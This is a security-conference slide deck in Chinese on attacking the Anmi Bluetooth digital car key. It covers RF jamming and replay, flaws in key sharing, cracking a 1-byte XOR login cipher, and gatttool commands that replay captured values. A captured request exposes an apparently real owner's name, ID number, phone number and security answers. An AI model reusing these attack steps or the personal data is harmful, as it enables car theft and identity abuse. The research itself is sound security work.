



2018

侠盗猎车——数字钥匙Hacking

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#Whoami

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银基安全研究员

专注无线电和嵌入式系统安全

会棍: KCON; XCON; 阿里先知; BESIDES; OZSECON; DEFCON26



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蓝牙加密破解



PART
01
汽车钥匙简史

汽车钥匙 101

- 机械钥匙 (仍在使用)
- 远程控制 (红外线; 固定码; 滚动码)
- RFID (无线射频车辆身份编码识别)
- 数字钥匙 (手机即为钥匙未来趋势)



新趋势？

How the Tesla Model 3 Works without a Key or a Fob

SEPTEMBER 13, 2017 AT 2:18 PM BY JORDAN GOLSON



There's an App For That: Volvo to Begin Selling Cars Without Physical Keys in 2017

FEBRUARY 19, 2016 AT 10:09 AM BY ALEXANDER STOKLOSA




经典案例

- RKE KeeLoq algorithm cracked (2008)
- Passive Keyless entry Keyfob Relay attack (2012)
- Gone in 60 seconds -- Hijacking with Hitag2 (2012)
- Samy's Rolljam -- Drive it like you hacked it (2015)
- BMW ConnectedDrive -- Telematics hacked (2015)
- Mitsubishi Outlander WIFI Hacked -- PenTestPartners (2016)
- 14 vulnerabilities found in BMW connected cars -- KeenLab (2018)

新趋势 新HACK — 2015

- . Dieter Spaar discovered BMW ConnectedDrive that allowed him to remotely open the vehicle's lock
- . Simulated a mobile network in a test environment with OpenBSC
- . After triggered by a decrypted SMS message. The vehicle sent a simple **HTTP GET** request to the server, in order to retrieve unlock command



<http://tiny.cc/bmwconnecteddrive>

新趋势 新HACK — 2016

. Mitsubishi Outlander PHEV
Top Selling hybrid SUV. Control
of the car by WiFi access point

. Unique SSID (REMOTEnnaaaa)
Easy to locate on wigle.net. The
Wi-Fi PSK is too short to crack

. Controlling protocols are
reverse engineered. Turn
on/off Air-condition; Heating;
Lights and **Alarm !!!**



<http://tiny.cc/pentestpartners-Outlander>



PART
02

安米钥匙架构 & 功能

数字钥匙 —— 安米

安米智能钥匙 小米战略投资

爱车升级，秒变顶配

手机车钥匙 / 无钥匙进入 / 无钥匙启动 / 远程分发钥匙

不拆车不破线 / 安全可靠



功能

- Keyless Entrance System
- Keyless Engine Start/Stop
- Bluetooth Low Energy 4
- Auto Lock/Unlock Function
- Mobile as Key (Android; Iphone)
- Remote Keys Sharing (20 Users)



安米部件



安米配对



Download APP
from Anmi-key



Key Duplicating




Anmi-Key
assemble



Activate the Anmi-Key





Unlock the car with
Anmi-APP






Registering Anmi-Key
to the Car


支持车型



安米内部1




安米内部2




安米内部3

- BTLE-Module (CC2640) to communicate with mobile APP through 2.4ghz
- RF-Module(NXP-61X0915) Emits unlock/lock cmd to the vehicle. RF-module vary from different car models
- BTLE-Module (SYD8801) sensor. 2.4GHz BTLE SOC 32-bit ARM Cortex-M0. Functionality unknown ?



神秘的传感器



神秘的传感器

SYD8801

SYD8801 Product Da
Low Power Bluetooth 4.0 Single Mi

2.3 Pin Assignment and Signal Description





Figure 2. Pin Configuration




无线模块

Oscillator: 13.560Mhz


Math:

$$13.560\text{MHz} / 8000 = 1695\text{hz}$$


$$13.560\text{MHz} * 32 = 433.92\text{Mhz}$$



SDR-HackRF



SDR-GQRX



蓝牙模块

The image displays four sequential screenshots of an iOS Bluetooth settings application, showing the configuration for a device with the address MCB09122D696EE.

- Screenshot 1 (00:32): Peripheral Details**
 - Device Name: MCB09122D696EE
 - UUID: F0F44833-7483-42E9-943D-D98A1867763B
 - Status: Connected
 - ADVERTISMENT DATA: Hide
 - Yes, Device is Connectable
 - Local Name: MCB09122D696EE
 - Service UUIDs: A000, FFC0
 - Services: Battery Service, Battery Level (100%)
- Screenshot 2 (00:49): Peripheral Services**
 - UUID: A000: MC Smart Kes. (Properties: Read Write)
 - UUID: A001: MC Smart Key. (Properties: Read Write)
 - UUID: F000FFC0-0451-4000-B000-000000000000: Img Identify (Properties: Write Notify)
 - UUID: F000FFC2-0451-4000-B000-000000000000: Img Block (Properties: Write Notify)
- Screenshot 3 (00:52): Services**
 - Device: MCB09122D696EE, Status: Connected
 - Battery Service (UUID: 0x180F, PRIMARY SERVICE)
 - Unknown Service (UUID: A000, PRIMARY SERVICE)
 - Unknown Service (UUID: A001, PRIMARY SERVICE)
 - Unknown Service (UUID: F000FFC0-0451-4000-B000-000000000000, PRIMARY SERVICE)
 - Wireless by Nordic
- Screenshot 4 (00:52): Services Characteristics**
 - Device: MCB09122D696EE, Status: Connected
 - Unknown Characteristic (UUID: F000FFC1-0451-4000-B000-000000000000, Properties: Write, WriteWithoutResponse, Notify)
 - Unknown Characteristic (UUID: F000FFC2-0451-4000-B000-000000000000, Properties: Write, WriteWithoutResponse, Notify)
 - Unknown Characteristic (UUID: F000FFC3-0451-4000-B000-000000000000, Properties: Write, WriteWithoutResponse, Notify)
 - Wireless by Nordic

蓝牙模块

```
root@kali:~# gatttool -b b0:91:22:D6:96:EE -I
[b0:91:22:D6:96:EE][LE]> connect
Attempting to connect to b0:91:22:D6:96:EE
Connection successful
[b0:91:22:D6:96:EE][LE]> primary
attr handle: 0x0001, end grp handle: 0x0007 uuid: 00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0008, end grp handle: 0x0008 uuid: 00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0009, end grp handle: 0x000e uuid: 0000180f-0000-1000-8000-00805f9b34fb
attr handle: 0x000f, end grp handle: 0x0012 uuid: 0000a000-0000-1000-8000-00805f9b34fb
attr handle: 0x0013, end grp handle: 0x0016 uuid: 0000a001-0000-1000-8000-00805f9b34fb
attr handle: 0x0017, end grp handle: 0xffff uuid: f000ffc0-0451-4000-b000-000000000000
[b0:91:22:D6:96:EE][LE]> characteristics
handle: 0x0002, char properties: 0x02, char value handle: 0x0003, uuid: 00002a00-0000-1000-8000-00805f9b34fb
handle: 0x0004, char properties: 0x02, char value handle: 0x0005, uuid: 00002a01-0000-1000-8000-00805f9b34fb
handle: 0x0006, char properties: 0x02, char value handle: 0x0007, uuid: 00002a04-0000-1000-8000-00805f9b34fb
handle: 0x000a, char properties: 0x12, char value handle: 0x000b, uuid: 00002a19-0000-1000-8000-00805f9b34fb
handle: 0x0010, char properties: 0x0a, char value handle: 0x0011, uuid: 0000a0a0-0000-1000-8000-00805f9b34fb
handle: 0x0014, char properties: 0x0a, char value handle: 0x0015, uuid: 0000a0b1-0000-1000-8000-00805f9b34fb
handle: 0x0018, char properties: 0x1c, char value handle: 0x0019, uuid: f000ffc1-0451-4000-b000-000000000000
handle: 0x001c, char properties: 0x1c, char value handle: 0x001d, uuid: f000ffc2-0451-4000-b000-000000000000
handle: 0x0020, char properties: 0x0c, char value handle: 0x0021, uuid: f000ffc3-0451-4000-b000-000000000000
[b0:91:22:D6:96:EE][LE]>
```

蓝牙模块

bluetooth.addr == b0:91:22:d6:96:ee

No.	Time	Source	Destination	Protocol	Length	Info
873	890.373164	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	10	Rcvd Write Response, Handle: 0x0011 (Unknown: Unknown)
874	890.375507	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	12	Sent Read Request, Handle: 0x0011 (Unknown: Unknown)
878	890.620824	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	15	Rcvd Read Response, Handle: 0x0011 (Unknown: Unknown)
879	890.723139	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	20	Sent Write Request, Handle: 0x0011 (Unknown: Unknown)
881	890.868264	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	10	Rcvd Write Response, Handle: 0x0011 (Unknown: Unknown)
882	890.870412	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	12	Sent Read Request, Handle: 0x0011 (Unknown: Unknown)
884	891.115761	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	15	Rcvd Read Response, Handle: 0x0011 (Unknown: Unknown)
885	891.118403	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	20	Sent Write Request, Handle: 0x0011 (Unknown: Unknown)
887	891.363275	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	10	Rcvd Write Response, Handle: 0x0011 (Unknown: Unknown)
888	891.366214	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	12	Sent Read Request, Handle: 0x0011 (Unknown: Unknown)
892	891.610996	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	15	Rcvd Read Response, Handle: 0x0011 (Unknown: Unknown)
923	907.384617	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	12	Sent Read Request, Handle: 0x000b (Battery Service: Battery Level)
927	907.574603	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	11	Rcvd Read Response, Handle: 0x000b (Battery Service: Battery Level)
930	909.300537	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	20	Sent Write Request, Handle: 0x0011 (Unknown: Unknown)
932	909.430815	TexasIns_d6:96:ee_	HuaweiTe_ac:62:76_	ATT	10	Rcvd Write Response, Handle: 0x0011 (Unknown: Unknown)
933	909.434182	HuaweiTe_ac:62:76_	TexasIns_d6:96:ee_	ATT	12	Sent Read Request, Handle: 0x0011 (Unknown: Unknown)


> Frame 927: 11 bytes on wire (88 bits), 11 bytes captured (88 bits)

- > Bluetooth
- > Bluetooth HCI H4
- > Bluetooth HCI ACL Packet
- > Bluetooth L2CAP Protocol
- ✓ Bluetooth Attribute Protocol
 - > Opcode: Read Response (0x0b)
 - > [Handle: 0x000b (Battery Service: Battery Level)]
 - Battery Level: 100
 - [Request in Frame: 923]

安米APP



安米APP



```
package cn.mucang.android.ble.utils;

public class e
{
    public static String a(String paramString)
    {
        if (paramString != null)
        {
            String str = paramString.toLowerCase();
            if ((str.length() == 4) && (!str.startsWith("0000")) && (!str.endsWith("-0000-1000-8000-00805f9b34fb"))) {
                paramString = "0000" + str + "-0000-1000-8000-00805f9b34fb";
            }
            do
            {
                return paramString;
                if ((str.length() != 36) || (!str.startsWith("0000"))) {
                    break;
                }
                paramString = str;
            } while (str.endsWith("-0000-1000-8000-00805f9b34fb"));
            if ((str.startsWith("0000")) && (!str.endsWith("-0000-1000-8000-00805f9b34fb"))) {
                return str + "-0000-1000-8000-00805f9b34fb";
            }
            if ((str.endsWith("-0000-1000-8000-00805f9b34fb")) && (!str.startsWith("0000"))) {
                return "0000" + str;
            }
        }
        return "";
    }
}
```

安米APP

```

LoginActivity.class
LoginMultiDefaultSmsActivity.class
LoginSSOActivity.class
LoginSmsActivity.class
PopupCaptchaActivity.class
RegisterActivity.class
SetPasswordActivity.class
ValidationActivity.class
a.class
b.class
c.class
d.class
api
b
a.class
b.class
data
AuthUser.class
CaptchaModel.class
CaptchaView.class
classes-dex2jar.jar
android.support
cn
mucang
android
account
album.library
ble
common
core
a
a.class
b.class
c.class
d.class
e.class
a.class
a.class
b.class
c.class
d.class
e.class
f.class
g.class
h.class
activity
refactorwebview
share
CityListActiv
FormInjectH
HTML5Webv
ParamMod
public class j
extends a
{
public CommonResponse a(String paramString1, String paramString2)
{
ArrayList localArrayList = new ArrayList();
localArrayList.add(new d("username", paramString1));
localArrayList.add(new d("password", paramString2));
return (CommonResponse)a("/api/open/user/login-step1.htm", localArrayList);
}
protected String a()
{
return "https://sso.kakamobi.com";
}
public CommonResponse b(String paramString1, String paramString2)
{
f();
return;
}
cn.mucang.android.core.ui.c.a("见了鬼了...");
}
private void c(String paramString)
{
paramString = new Intent("cn.mucang.android.account.ACTION_SSO_LOGIN_SUCCESS");
cn.mucang.android.core.config.h.b().sendBroadcast(paramString);
}
Object localObject = paramActivity;
if (paramActivity == null) {
localObject = cn.mucang.android.core.config.h.k();
}
if (localObject == null) {
j.e("hadeslee", "搞了半天大家都是null,搞个屁");
return;
}
paramActivity = new Intent((Context)localObject, UpdateInfoActivity.class);
paramActivity.putExtra("__update_info__", paramCheckUpdateInfo);
((Context)localObject).startActivity(paramActivity);
return;
}

```

木仓科技内部系统登录主页, 非公司员工无需访问
10.165.0.39

Company internal Login system

安米APP

```
Flow Details
2018-07-20 04:14:10 POST http://120.27.185.148/api/open/receiver/send.htm?_platform=android&_srv=t&_appName=qicheyaokongqi&_product=%E5%AE%89%E7%B1%B3%E6%99%BA%E7%83%BD%E9%92%...
- 200 application/json 139b 1.01s

Request Response Detail
User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.2; zh-cn; Lenovo TAB S8-50LC Build/BMAIN) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Accept-Encoding: gzip
Accept-Encoding: tnpn4
Content-Type: application/x-gzip
Content-Length: 287
Host: oort-shipper.kakamobi.cn
Connection: Keep-Alive

Query [auto]
platform: android
srv: t
appName: qicheyaokongqi
product: 安米智能钥匙
vendor: xiaomi
renyuan: null
version: 2.1.0
system: BMAIN
manufacturer: LENOVO
systemVersion: 4.4.2
device: Lenovo TAB S8-50LC
imei: 865[redacted]7267
productCategory: qicheyaokongqi
operator:
androidId: 66575bc4a2[redacted]
mac: 88:70:8c:[redacted]
appUser: 8bf1b284d6d24a07b4fb34200df9a1ce
pkgName: cn.mucang.android.rcc
screenDpi: 210
screenWidth: 1200
screenHeight: 1824

[4/28] [*:8080]
```

安米APP

```
2018-07-20 05:10:30 POST http://115.29.184.230/api/open/register.htm?_platform=android&_srv=t&_appName=qicheyaokongqi&_product=%E5%AE%89%E7%B1%B3%E6%9%BA%E8%83%BD%E9%92%A5%E5...
- 200 OK application/json 1.85k 640ms
```


Request	Response	Detail
User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; Che1-CL10 Build/Che1-CL10) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36		
Accept-Encoding: gzip		
Accept-Encoding: tnpn4		
Content-Type: application/x-www-form-urlencoded		
Content-Length: 1091		
Host: rcc.kakamobi.com		
Connection: Keep-Alive		

URLEncoded form [⚙:auto]

```
token: 481cf7064f814bbdab3b0ab3e6f8adc2
mac: B0:91:22:D6:96:EE
uuid: 00665CBC-8207-4FAC-96E3-A190DD30BB8F
carSeriesName: 飞度
carName: 本田
carSeriesId: 139
carLogoUrl: http://cartype-image.mucang.cn/cartype-logo/2016/10/24/15/317eed6a88204a81a6387159a25d40d3_315X210.png!210x140
carOwner: 王琳
idNumber: 110000198704260022
phoneNumber: 13311390886
securityQuestions: [{"answer": "花生", "question": "您的初恋的名字是?"}, {"answer": "0501", "question": "您母亲的生日是? (如0501)"}, {"answer": "武汉", "question": "您出生所在的城市是? (如武汉)"}]
platform: android
phoneBluetoothAddress: B4:30:52:7[redacted]
phoneMacAddress: b4:30:52:7[redacted]
imei: 86574402[redacted]
```

[7/28] [+:8080]

安米APP—Server



毫无隐私可言....

Encryption ?

13. 安装安米智能钥匙对车辆有什么影响?

安米智能钥匙安装不拆车不改线不影响车辆安全性，只需要在安装时暂时连接汽车OBD接口且安装完成后不占用，后续使用只需将智能钥匙插在钥匙孔上即可。

14. 安米智能汽车钥匙是否安全?

本产品采用蓝牙4.0技术，同时采用独创的安全加密算法对数据进行二次加密，确保车辆安全，同时我们为产品购买保险。

Anmi Own Property Encryption

15. 与车载蓝牙设备是否有冲突?

安米智能钥匙采用的是最先进的蓝牙4.0技术，支持同时传输多个设备，与车载蓝牙设备可以同时使用并不冲突。

原车钥匙可以继

车辆绑定注意事项

标志3008由于钥匙孔设计问题，导致匹配时防盗片和锁孔距离过长，匹配成功率低。若无法成功匹配，请按以下方法再次进行匹配：




- ① 先将专用钥匙坯与“主体”分离
- ② 再将钥匙坯插入锁孔，“主
- ③ 最后扭动钥匙坯（用老

超级安全?



安米智能钥匙



- 专用安全加密芯片
- 非对称加密算法
- 低功耗设计

手机



- 动态加密算法, 防重放攻击
- 128bit AES 加密算法
- 分级授权安全策略

CHALLENGE ACCEPTED





PART
03

安米钥匙攻击点—RF 干扰攻击

RF-干扰器

BBC Sign in News Sport Weather Shop Earth Travel

Home Video World US & Canada UK Business Tech Science Stories En

England Local News Regions

Car key jammers: What you need to know

8 December 2016

As reports circulate about tech-savvy thieves using electronic devices - "key jammers" - to prevent cars from locking, what do you need to know about this growing crime?

The transmitters, which are easy to buy online, can be used to interrupt signals from keys fobs, meaning unwary motorists believe their cars to be secure when they're anything but.

This leaves the path clear for thieves to help themselves to your belongings, and even take the car itself.

THE Sun RT TV & SHOWBIZ NEWS FABULOUS MONEY MOTORS TRAVEL TECH DEAR DEIDRE PUZZLES TOPICS A

DAYLIGHT FOBBERY Car wash crooks make £20,000 a day by using £500 key fob jammers that leave motors unlocked

Romanian car wash boss Mario told an undercover Sun reporter he could use the devices to steal phones, laptops and cash

INVESTIGATION By Jake Ryan 17th May 2017, 10:38 pm | Updated: 31st May 2017, 1:01 pm



The image shows a video player with two frames. The left frame shows a man in a white shirt holding a small, dark device in his hand, which is circled in red. The right frame shows a car wash scene with two men standing next to a blue car. A play button is visible in the center of the video player.

RF-干扰器

HOW CRIMINALS USE THE DEVICE


1 The thief waits for driver to pull up and park car



2 Villain uses key fob blocker to send jamming signal



3 Driver walks away, not realising their remote hasn't locked car




4 Thief swoops to nick possessions or use second device to steal vehicle




安米安全否？



安米单向通讯...



演示:





Samy's RollJam

钥匙和车之间的通讯是单向的，不存在动态认证的过程

信号是时间无关的即不会随时间过期，只与顺序相关

盗贼通过干扰器阻止汽车接受钥匙信号，自己把钥匙信号保存下来，然后用来开门。同一把钥匙，不同的操作是共用一个滚动码序列的







PART
04

安米钥匙攻击点——钥匙共享分析

共享功能



共享功能



What could possibly go wrong ?

微信共享

```
_firstTime: 2018-07-19 15:11:25
_apiLevel: 19
_userCity:
_p:
_ipCity: 0
_webviewVersion: 4.7
_r: 23a1ad5aada54ed39c7c04d79776c8f6
_channel: weixin_friend
_placeKey: qicheyaokongqi-addkey
_shareData: {"code": "P0qQwQW2lyTQkOguPzQ3MTViN2RjPjVnM2BjNjJlPzVgZGdjZGQxPmcyMj96YGl0Y3BjdPdNqDo="}
_sign: 70d74b61e928317718bd60e63c36ea8301
```

[13/304]



```
2018-07-28 00:40:18 GET http://121.199.11.74/api/open/new-share/get-share.htm?_platform=
1%B3%E6%99%BA%E8%83%BD%E...
200 OK application/json 382b 828ms
```

```
Request
Server: nginx/1.4.6
Date: Sat, 28 Jul 2018 07:40:19 GMT
Content-Type: application/json; charset=UTF-8
Content-Length: 382
Connection: keep-alive
JSON
{
  "data": {
    "description": "打开链接，即可获得该车辆使用权。请遵循页面提示进行操作哦",
    "iconUrl": "",
    "imageUrl": "",
    "shareWords": "阿米智能钥匙-电子钥匙",
    "url": "http://url.mucang.cn/6WX99"
  },
  "errorCode": 0,
  "message": null,
  "success": true
}
```

```
"data": {
  "description": "打开链接，即可获得该车辆使用权。请遵循页面提示进行操作哦",
  "iconUrl": "",
  "imageUrl": "",
  "shareWords": "阿米智能钥匙-电子钥匙",
  "url": "http://url.mucang.cn/6WX99"
},
"errorCode": 0,
"message": null,
"success": true
```



微信共享




演示:




删除账号？

演示：



账号过期？

演示:





PART
05

安米钥匙攻击点 — 蓝牙加密破解

BTLE—数据包分析

```
14 0.409925 TexasIns_d6:96:ee () localhost () All 17 Rcvd Read Response, Handle: 0x0011 (Unknown)
← 15 0.412916 localhost () TexasIns_d6:96:ee () ATT 19 Sent Write Request, Handle: 0x0011 (Unknown)
→ 17 0.507435 TexasIns_d6:96:ee () localhost () ATT 10 Rcvd Write Response, Handle: 0x0011 (Unknown)
18 0.509310 localhost () TexasIns_d6:96:ee () ATT 12 Sent Read Request, Handle: 0x0011 (Unknown)
20 0.604925 TexasIns_d6:96:ee () localhost () ATT 21 Rcvd Read Response, Handle: 0x0011 (Unknown)
21 0.620600 localhost () TexasIns_d6:96:ee () ATT 32 Sent Write Request, Handle: 0x0011 (Unknown)

> Frame 15: 19 bytes on wire (152 bits), 19 bytes captured (152 bits)
▼ Bluetooth
  [Source: 00:00:00_00:00:00 (00:00:00:00:00:00)]
  [Destination: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]
  > Bluetooth HCI H4
  > Bluetooth HCI ACL Packet
  > Bluetooth L2CAP Protocol
  ▼ Bluetooth Attribute Protocol
    > Opcode: Write Request (0x12)
      Handle: 0x0011 (Unknown)
      Value: a7040000000301
      [Response in Frame: 17]
```

```
← 18 0.509310 localhost () TexasIns_d6:96:ee () ATT 12 Sent Read Request, Handle: 0x0011 (Unknown)
→ 20 0.604925 TexasIns_d6:96:ee () localhost () ATT 21 Rcvd Read Response, Handle: 0x0011 (Unknown)
21 0.620600 localhost () TexasIns_d6:96:ee () ATT 32 Sent Write Request, Handle: 0x0011 (Unknown)
23 0.702351 TexasIns_d6:96:ee () localhost () ATT 10 Rcvd Write Response, Handle: 0x0011 (Unknown)
24 0.705870 localhost () TexasIns_d6:96:ee () ATT 32 Sent Write Request, Handle: 0x0011 (Unknown)
26 0.799838 TexasIns_d6:96:ee () localhost () ATT 10 Rcvd Write Response, Handle: 0x0011 (Unknown)

> Frame 20: 21 bytes on wire (168 bits), 21 bytes captured (168 bits)
▼ Bluetooth
  [Source: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]
  [Destination: 00:00:00_00:00:00 (00:00:00:00:00:00)]
  > Bluetooth HCI H4
  > Bluetooth HCI ACL Packet
  > Bluetooth L2CAP Protocol
  ▼ Bluetooth Attribute Protocol
    > Opcode: Read Response (0x0b)
      [Handle: 0x0011 (Unknown)]
      Value: 0900cdd7aafb6905d90301
      [Request in Frame: 18]
```

BTLE—数据包分析

```
21 0.620600 lo... Te... ATT 32 Sent Write Request, Handle: 0x0011 (Unknown)
24 0.705870 lo... Te... ATT 32 Sent Write Request, Handle: 0x0011 (Unknown)

Frame 21: 32 bytes on wire (256 bits), 32 bytes captured (256 bits)
Bluetooth
  [Source: 00:00:00_00:00:00 (00:00:00:00:00:00)]
  [Destination: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]
Bluetooth HCI H4
Bluetooth HCI ACL Packet
Bluetooth L2CAP Protocol
Bluetooth Attribute Protocol
  > Opcode: Write Request (0x12)
  Handle: 0x0011 (Unknown)
  Value: a1430070950301017a1adee42a43b719294c1aba
  [Response in Frame: 23]

> Bluetooth L2CAP Protocol
< Bluetooth Attribute Protocol
  > Opcode: Write Request (0x12)
  Handle: 0x0011 (Unknown)
  Value: 60fc3e1b484004c161153bacb5980005c58eb1e2
  [Response in Frame: 26]

> Bluetooth L2CAP Protocol
< Bluetooth Attribute Protocol
  > Opcode: Write Request (0x12)
  Handle: 0x0011 (Unknown)
  Value: 719d975e3118b810433561391901968673247220
  [Response in Frame: 29]

> Bluetooth L2CAP Protocol
< Bluetooth Attribute Protocol
  > Opcode: Write Request (0x12)
  Handle: 0x0011 (Unknown)
  Value: 7276574d47464541eefa
  [Response in Frame: 32]
```


BTLE—数据包分析

287	28.261876	localhost ()	TexasIns_d6:96:ee (MCB...	ATT	20 Sent Write Request, Handle: 0x0011 (U
295	29.257306	localhost ()	TexasIns_d6:96:ee (MCB...	ATT	20 Sent Write Request, Handle: 0x0011 (U
303	29.747696	localhost ()	TexasIns_d6:96:ee (MCB...	ATT	20 Sent Write Request, Handle: 0x0011 (U

> Frame 295: 20 bytes on wire (160 bits), 20 bytes captured (160 bits)

Bluetooth

[Source: 00:00:00_00:00:00 (00:00:00:00:00:00)]

[Destination: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]

> Bluetooth HCI H4

> Bluetooth HCI ACL Packet

> Bluetooth L2CAP Protocol

> Bluetooth Attribute Protocol

> Opcode: Write Request (0x12)

> Handle: 0x0011 (Unknown: Unknown)

Value: c80500a0140301aa

295	29.257306	localhost ()	TexasIns_d6:96:ee (MCB...	ATT	20 Sent Write Request, Handle: 0x0011 (U
303	29.747696	localhost ()	TexasIns_d6:96:ee (MCB...	ATT	20 Sent Write Request, Handle: 0x0011 (U

Frame 303: 20 bytes on wire (160 bits), 20 bytes captured (160 bits)

Bluetooth

[Source: 00:00:00_00:00:00 (00:00:00:00:00:00)]

[Destination: TexasIns_d6:96:ee (b0:91:22:d6:96:ee)]

Bluetooth HCI H4

Bluetooth HCI ACL Packet

Bluetooth L2CAP Protocol

Bluetooth Attribute Protocol

> Opcode: Write Request (0x12)

> Handle: 0x0011 (Unknown: Unknown)


Value: c80500500a030155

[Response in Frame: 305]

BTLE -- 1st 尝试

```
[b0:91:22:D6:96:EE][LE]> connect
Attempting to connect to b0:91:22:D6:96:EE
Connection successful
[b0:91:22:D6:96:EE][LE]> char-write-req 0x11 c80500a0140301aa
Characteristic value was written successfully
[b0:91:22:D6:96:EE][LE]> char-write-req 0x11 c80500500a030155
Characteristic value was written successfully
[b0:91:22:D6:96:EE][LE]> char-read-hnd 0x11
Characteristic value/descriptor:
[b0:91:22:D6:96:EE][LE]>
```

BTLE—登录验证



BTLE—登录算法

```
    this.userType = paramByte;
}

public byte[] toBytes()
{
    try
    {
        byte[] arrayOfByte1 = c.a(this.password);
        byte[] arrayOfByte2 = a.b(this.appUser.getBytes("utf-8"));
        byte[] arrayOfByte3 = a.b(this.imei.getBytes("utf-8"));
        byte[] arrayOfByte5 = c.a(new Date());
        int i = this.userType;
        arrayOfByte2 = xor(arrayOfByte2);
        arrayOfByte3 = xor(arrayOfByte3);
        byte[] arrayOfByte4 = xor(this.advertisingKey);
        arrayOfByte5 = xor(arrayOfByte5);
        byte[] arrayOfByte6 = xor(new byte[this.openRssi]);
        byte[] arrayOfByte7 = xor(new byte[this.lockRssi]);
        arrayOfByte1 = encode(new byte[][] { { i }, arrayOfByte1, arrayOfByte2, arrayOfByte3, arrayOfByte4, arrayOfByte5, arrayOfByte6, arrayOfByte7 });
        return arrayOfByte1;
    }
    catch (UnsupportedEncodingException localUnsupportedEncodingException)
    {
        localUnsupportedEncodingException.printStackTrace();
    }
    return new byte[0];
}

public String toString()
{
    return "LoginRequestPkg_v1_3{userType=" + this.userType + ", password='" + this.password + '\'' + ", appUser='" + this.appUser + '\'' + ", imei='" + this.ime
```

BTLE—登录协议

Fetch a random values from Anmi-Key (4 bytes)

Calculate EncryptionCode (Random Value; Secret Key)

Wrap up to make an encrypted login packets

Send to Anmi-Key and Log in (Status 0xAA)



BTLE—登录算法

```
private byte[] xor(byte[] arg3) {  
    byte[] v0 = this.appConfig.isVer("1.3") ? dosdlog.a(arg3, dosdlog.int2bytes(this.encryptCode)) : dosdlog.a(arg3, this.encryptCode);  
    return v0;  
}
```

```
public static byte[] a(byte[] arg5, byte[] arg6) {  
    int v0;  
    for(v0 = 0; v0 < arg5.Length; ++v0) {  
        int v2;  
        for(v2 = 0; v2 < arg6.Length; ++v2) {  
            arg5[v0] = ((byte)(arg5[v0] ^ arg6[v2]));  
        }  
    }  
    return arg5;  
}
```

```
v0.setAmc12(p110m00113.get_amc12());  
v0.setAppUser(arg5.getAppuser());  
v0.setPassword(arg5.getPassword());  
v0.setAdvertisingKey(this.mkeyHandle.makeRandomForAdvertisingKey());  
if(this.appconfig.isVer("1.3")) {  
    v0.setEncryptCode(arg5.getSecretKey() ^ arg6);  
}  
else {  
    v0.setEncryptCode(crc16.getInstance().calc(arg6));  
}
```

Only 1 byte key needed

Arg6 is a Dword random
from fetch random

SecretKey is a fixed random
Dword number from device
Initialization

BTLE—登录算法

Recover “EncryptCode” with a fixed year data: 0x12

Then You can get:

uchar[16] password

uchar[16] md5_username

uchar[16] md5_imei

} Used for crafting
your own login
packet

BTLE—登录算法

Login Packet:

+0 byte channel 0xA1
+1 short len fixed in 0301: 43 00
+3 short crc16
+5 short protocolver 0301
+7 byte usertype
+8 uchar[16] password
+24 uchar[16] enc_md5_username
+40 uchar[16] enc_md5_imei
+56 uchar[6] enc_advertising_key //ascii
+62 uchar[6] enc_date // YYMMDDHHMMSS
+68 uchar enc_openrssi
+69 uchar enc_lockRssi



What year now ?

```
public static byte[] a(Date arg11) {  
    Calendar v0 = Calendar.getInstance();  
    v0.setTime(arg11);  
    return new byte[] { ((byte)(v0.get(1) - 2000)), ((byte)(v0.get(2) + 1)), ((t  
}
```

What we need is to decrypt only **1** byte

Login—加密算法

- 1-byte of encryption key
- 使用 XOR 作为所谓的加密算法
- 所需参数均可通过蓝牙抓包获取



Login—蓝牙抓包

Texas Instruments SmartRF Packet Sniffer Bluetooth Low Energy

File Settings Help

P.nbr.	Time (us)	Channel	Access Address	Direction	ACK Status	Data Type	Data Header					L2CAP Header		ATT_Write_Req			CRC	RSSI (dBm)	FCS
							LLID	NESN	SN	MD	PDU-Length	L2CAP-Length	ChanId	Opcode	AttHandle	AttValue			
3900	+48524 =382527040	0x17	0x18E9AB1A	M->S	OK	L2CAP-S	2	1	1	0	15	0x000B	0x0004	0x12	0x0011	C8 05 00 A0 14 03 01 AA	0x4F9832	-44	OK
3901	+349 =382527389	0x17	0x18E9AB1A	S->M	OK	Empty PDU	1	0	1	0	0	0x8AE550						-40	OK
3902	+48403 =382575792	0x21	0x18E9AB1A	M->S	OK	Empty PDU	1	0	0	0	0	0x8AE8F6						-44	OK
3903	+229 =382576021	0x21	0x18E9AB1A	S->M	OK	L2CAP-S	2	1	0	0	5	0x0001	0x0004	0x13			0x11A950	-41	OK
3904	+48523 =382624544	0x06	0x18E9AB1A	M->S	OK	L2CAP-S	2	1	1	0	7	0x0003	0x0004	0x0A	0x0011		0x092794	-42	OK
3905	+286 =382624830	0x06	0x18E9AB1A	S->M	OK	Empty PDU	1	0	1	0	0	0x8AE550						-40	OK
3906	+48466 =382673296	0x10	0x18E9AB1A	M->S	OK	Empty PDU	1	0	0	0	0	0x8AE8F6						-45	OK
3907	+230 =382673526	0x10	0x18E9AB1A	S->M	OK	L2CAP-S	2	1	0	0	10	0x0006	0x0004	0x0B	03 00 A0 14 AA		0x69A9F6	-40	OK
